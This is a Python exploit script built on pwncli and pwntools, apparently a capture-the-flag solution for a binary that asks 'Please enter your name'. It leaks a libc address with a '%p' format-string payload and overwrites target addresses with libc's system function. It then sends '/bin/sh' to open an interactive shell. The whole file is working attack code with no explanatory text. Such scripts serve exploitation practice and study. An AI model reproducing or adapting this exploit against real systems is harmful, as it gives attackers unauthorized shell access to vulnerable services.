1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77
| from pwncli import * from ctypes import * from time import time from struct import pack from LibcSearcher import * cli_script()
io = gift['io'] elf = gift["elf"] libc = gift.libc filename = gift.filename is_debug = gift.debug is_remote = gift.remote gdb_pid = gift.gdb_pid
time_ = (int)(time())
arch='amd64' context(log_level = 'debug',os='linux',arch=arch) if gift.remote: libc = ELF("./libc.so.6") gift['libc'] = libc pass libc_box = LibcBox()
r_l = cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6') r_l.srand(0)
one_ = [0xe3afe,0xe3b01,0xe3b04]
def pwn_exp(): ru("Please enter your name") p1 = b'%p'*4 s(p1) ru("0x") ru("0x") ru("0x") libc.address = int(io.recv(12),16)-18-libc.sym.read p1 = p1.ljust(0x18,b'\x00')+p64_ex(0x40121b)[0:6] s(p1) ru("Congratulations on completing a big step") p2 = p64_ex(0x404038) s(p2) p3 = p64_ex(0x4010D0) s(p3) ru("Please enter your name") p1 = b'%p'*4 s(p1) ru("0x") ru("0x") ru("0x") p1 = p1.ljust(0x18,b'A')+p64_ex(0x40121b)[0:6] s(p1) ru("Congratulations on completing a big step") p2 = p64_ex(0x404020) s(p2) p3 = p64_ex(libc.sym.system) s(p3) ru("Please enter your name") sl(b"/bin/sh\x00")
log.info('#---#---#---#---#') log.success('libc.address:'+hex(libc.address)) log.success('elf.address:'+hex(elf.address))
if __name__ == '__main__': pwn_exp() io.interactive()
|